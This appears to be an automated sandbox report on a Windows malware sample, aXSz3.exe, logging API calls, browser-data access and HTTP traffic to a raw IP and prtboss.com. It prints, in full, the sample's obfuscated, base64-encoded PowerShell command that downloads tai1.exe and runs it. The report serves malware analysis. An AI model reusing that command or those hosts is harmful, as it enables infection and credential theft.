aXSz3.exe

Queries for the computername (7 events)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW April 12, 2021, 10:42 a.m.	computer_name: TEST22-PC	1	1	0
GetComputerNameW April 12, 2021, 10:43 a.m.	computer_name: TEST22-PC	1	1	0
GetComputerNameW April 12, 2021, 10:43 a.m.	computer_name: TEST22-PC	1	1	0
GetComputerNameW April 12, 2021, 10:43 a.m.	computer_name: TEST22-PC	1	1	0
GetComputerNameA April 12, 2021, 10:43 a.m.	computer_name: TEST22-PC	1	1	0
GetComputerNameW April 12, 2021, 10:43 a.m.	computer_name: TEST22-PC	1	1	0
GetComputerNameW April 12, 2021, 10:43 a.m.	computer_name: TEST22-PC	1	1	0

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent April 12, 2021, 10:43 a.m.			0	0

Command line console output was observed (9 events)

Time & API	Arguments	Status	Return	Repeated
WriteConsoleW April 12, 2021, 10:42 a.m.	buffer: The specified path is invalid. console_handle: 0x000000000000000b	1	1	0
WriteConsoleW April 12, 2021, 10:42 a.m.	buffer: 'sleep' is not recognized as an internal or external command, operable program or batch file. console_handle: 0x000000000000000b	1	1	0
WriteConsoleW April 12, 2021, 10:42 a.m.	buffer: Missing operator. console_handle: 0x000000000000000b	1	1	0
WriteConsoleW April 12, 2021, 10:42 a.m.	buffer: Missing operator. console_handle: 0x000000000000000b	1	1	0
WriteConsoleW April 12, 2021, 10:42 a.m.	buffer: Missing operator. console_handle: 0x000000000000000b	1	1	0
WriteConsoleW April 12, 2021, 10:42 a.m.	buffer: Missing operator. console_handle: 0x000000000000000b	1	1	0
WriteConsoleW April 12, 2021, 10:43 a.m.	buffer: 1 file(s) copied. console_handle: 0x0000000000000007	1	1	0
WriteConsoleW April 12, 2021, 10:42 a.m.	buffer: The operation completed successfully. console_handle: 0x0000000000000007	1	1	0
WriteConsoleW April 12, 2021, 10:42 a.m.	buffer: The operation completed successfully. console_handle: 0x0000000000000007	1	1	0

Uses Windows APIs to generate a cryptographic key (40 events)

Time & API	Arguments	Status	Return	Repeated
CryptExportKey April 12, 2021, 10:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000001d1fb0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1	0
CryptExportKey April 12, 2021, 10:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b83450 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1	0
CryptExportKey April 12, 2021, 10:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b83450 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1	0
CryptExportKey April 12, 2021, 10:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b83450 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1	0
CryptExportKey April 12, 2021, 10:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b98360 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1	0
CryptExportKey April 12, 2021, 10:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b98360 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1	0
CryptExportKey April 12, 2021, 10:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b98440 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1	0
CryptExportKey April 12, 2021, 10:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b98440 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1	0
CryptExportKey April 12, 2021, 10:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b98440 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1	0
CryptExportKey April 12, 2021, 10:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b98440 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1	0
CryptExportKey April 12, 2021, 10:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b987c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1	0
CryptExportKey April 12, 2021, 10:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b987c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1	0
CryptExportKey April 12, 2021, 10:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b987c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1	0
CryptExportKey April 12, 2021, 10:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b983d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1	0
CryptExportKey April 12, 2021, 10:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b983d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1	0
CryptExportKey April 12, 2021, 10:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b983d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1	0
CryptExportKey April 12, 2021, 10:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b98c90 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1	0
CryptExportKey April 12, 2021, 10:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b98c90 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1	0
CryptExportKey April 12, 2021, 10:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b98c90 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1	0
CryptExportKey April 12, 2021, 10:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b98c90 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1	0
CryptExportKey April 12, 2021, 10:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b98c90 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1	0
CryptExportKey April 12, 2021, 10:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b98c90 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1	0
CryptExportKey April 12, 2021, 10:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b98c90 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1	0
CryptExportKey April 12, 2021, 10:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b98c90 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1	0
CryptExportKey April 12, 2021, 10:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b98d70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1	0
CryptExportKey April 12, 2021, 10:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b98d70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1	0
CryptExportKey April 12, 2021, 10:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b98d70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1	0
CryptExportKey April 12, 2021, 10:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b98de0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1	0
CryptExportKey April 12, 2021, 10:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b98de0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1	0
CryptExportKey April 12, 2021, 10:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b98e50 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1	0
CryptExportKey April 12, 2021, 10:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b98e50 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1	0
CryptExportKey April 12, 2021, 10:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b98de0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1	0
CryptExportKey April 12, 2021, 10:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b98de0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1	0
CryptExportKey April 12, 2021, 10:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b98de0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1	0
CryptExportKey April 12, 2021, 10:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000001b7180 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1	0
CryptExportKey April 12, 2021, 10:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000001b7180 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1	0
CryptExportKey April 12, 2021, 10:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000001b6c40 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1	0
CryptExportKey April 12, 2021, 10:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000001b6c40 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1	0
CryptExportKey April 12, 2021, 10:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002bc0aa0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1	0
CryptExportKey April 12, 2021, 10:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002bc0aa0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1	0

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Tries to locate where the browsers are installed (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx April 12, 2021, 10:42 a.m.		1	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (1 event)

section

.code

The executable uses a known packer (1 event)

packer

PureBasic 4.x -> Neil Hodgson

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (2 events)

suspicious_features	GET method with no useragent header, Connection to IP address				suspicious_request	GET http://23.92.213.108/po/tai1.exe
suspicious_features	POST method with no referer header				suspicious_request	POST http://prtboss.com/collect.php

Performs some HTTP requests (2 events)

request	GET http://23.92.213.108/po/tai1.exe
request	POST http://prtboss.com/collect.php

Sends data using the HTTP POST Method (1 event)

request

POST http://prtboss.com/collect.php

Allocates read-write-execute memory (usually to unpack itself) (50 out of 194 events)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 region_size: 2031616 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002990000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1	0	0
NtAllocateVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002b00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1	0	0
NtProtectVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2451000 process_handle: 0xffffffffffffffff	1	0	0
NtProtectVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef26ce000 process_handle: 0xffffffffffffffff	1	0	0
NtProtectVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef26ce000 process_handle: 0xffffffffffffffff	1	0	0
NtProtectVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef26cf000 process_handle: 0xffffffffffffffff	1	0	0
NtProtectVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef26cf000 process_handle: 0xffffffffffffffff	1	0	0
NtProtectVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef26cf000 process_handle: 0xffffffffffffffff	1	0	0
NtProtectVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef26cf000 process_handle: 0xffffffffffffffff	1	0	0
NtProtectVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef26cf000 process_handle: 0xffffffffffffffff	1	0	0
NtProtectVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef26cf000 process_handle: 0xffffffffffffffff	1	0	0
NtProtectVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef26cf000 process_handle: 0xffffffffffffffff	1	0	0
NtProtectVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef26cf000 process_handle: 0xffffffffffffffff	1	0	0
NtProtectVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef26d0000 process_handle: 0xffffffffffffffff	1	0	0
NtProtectVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef26d0000 process_handle: 0xffffffffffffffff	1	0	0
NtProtectVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef26d0000 process_handle: 0xffffffffffffffff	1	0	0
NtProtectVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef26d0000 process_handle: 0xffffffffffffffff	1	0	0
NtProtectVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef26d0000 process_handle: 0xffffffffffffffff	1	0	0
NtProtectVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef26d1000 process_handle: 0xffffffffffffffff	1	0	0
NtProtectVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef26d1000 process_handle: 0xffffffffffffffff	1	0	0
NtProtectVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef26d1000 process_handle: 0xffffffffffffffff	1	0	0
NtProtectVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef26d1000 process_handle: 0xffffffffffffffff	1	0	0
NtProtectVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef26ce000 process_handle: 0xffffffffffffffff	1	0	0
NtAllocateVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00022000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1	0	0
NtAllocateVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 region_size: 589824 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1	0	0
NtAllocateVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1	0	0
NtAllocateVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1	0	0
NtAllocateVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1	0	0
NtAllocateVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1	0	0
NtAllocateVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000da000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1	0	0
NtAllocateVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00012000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1	0	0
NtAllocateVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002b02000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1	0	0
NtAllocateVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 region_size: 12288 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002b04000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1	0	0
NtAllocateVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000ea000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1	0	0
NtAllocateVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00023000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1	0	0
NtAllocateVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00024000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1	0	0
NtAllocateVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00112000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1	0	0
NtAllocateVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000ed000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1	0	0
NtAllocateVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000db000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1	0	0
NtAllocateVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000d2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1	0	0
NtAllocateVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00025000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1	0	0
NtAllocateVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00160000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1	0	0
NtAllocateVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00013000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1	0	0
NtAllocateVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00026000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1	0	0
NtAllocateVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00113000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1	0	0
NtAllocateVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000dc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1	0	0
NtAllocateVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000d3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1	0	0
NtAllocateVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff0001a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1	0	0
NtAllocateVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00027000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1	0	0
NtAllocateVirtualMemory April 12, 2021, 10:43 a.m.	process_identifier: 4408 region_size: 16384 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002b07000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1	0	0

Steals private information from local Internet browsers (2 events)

file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local State
registry	HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox

Creates executable files on the filesystem (3 events)

file	C:\Users\test22\AppData\Local\Temp\FE6D.tmp\FE6E.tmp\FE6F.bat
file	C:\Users\test22\AppData\Local\Temp\42.tmp\43.tmp\44.bat
file	C:\Users\test22\AppData\Local\Temp\DyEqOdpm.exe

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (2 events)

cmdline

PowERsHELl -ExecutionPolicy Bypass -w 1 /e IAAoAE4ARQB3AC0AbwBiAGoARQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALgBEAG8AdwBuAEwAbwBBAGQAZgBJAGwARQAoACAAHSBoAHQAdABwADoALwAvADIAMwAuADkAMgAuADIAMQAzAC4AMQAwADgALwBwAG8ALwB0AGEAaQAxAC4AZQB4AGUAHSAgACwAIAAdICQARQBOAHYAOgB0AGUAbQBwAFwARAB5AEUAcQBPAGQAcABtAC4AZQB4AGUAHSAgACkAIAA7ACAAcwB0AEEAUgB0ACAAHSAkAEUATgB2ADoAdABlAG0AcABcAEQAeQBFAHEATwBkAHAAbQAuAGUAeABlAB0g

cmdline

cMd.E"x"e 2ubishdata2/R = PowERsHELl -ExecutionPolicy Bypass -w 1 /e IAAoAE4ARQB3AC0AbwBiAGoARQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALgBEAG8AdwBuAEwAbwBBAGQAZgBJAGwARQAoACAAHSBoAHQAdABwADoALwAvADIAMwAuADkAMgAuADIAMQAzAC4AMQAwADgALwBwAG8ALwB0AGEAaQAxAC4AZQB4AGUAHSAgACwAIAAdICQARQBOAHYAOgB0AGUAbQBwAFwARAB5AEUAcQBPAGQAcABtAC4AZQB4AGUAHSAgACkAIAA7ACAAcwB0AEEAUgB0ACAAHSAkAEUATgB2ADoAdABlAG0AcABcAEQAeQBFAHEATwBkAHAAbQAuAGUAeABlAB0g

Drops a binary and executes it (1 event)

file	C:\Users\test22\AppData\Local\Temp\DyEqOdpm.exe

Drops an executable to the user AppData folder (1 event)

file	C:\Users\test22\AppData\Local\Temp\DyEqOdpm.exe

Searches running processes potentially to identify processes for sandbox evasion, code injection or memory dumping (3 events)

Time & API	Arguments	Status	Return	Repeated
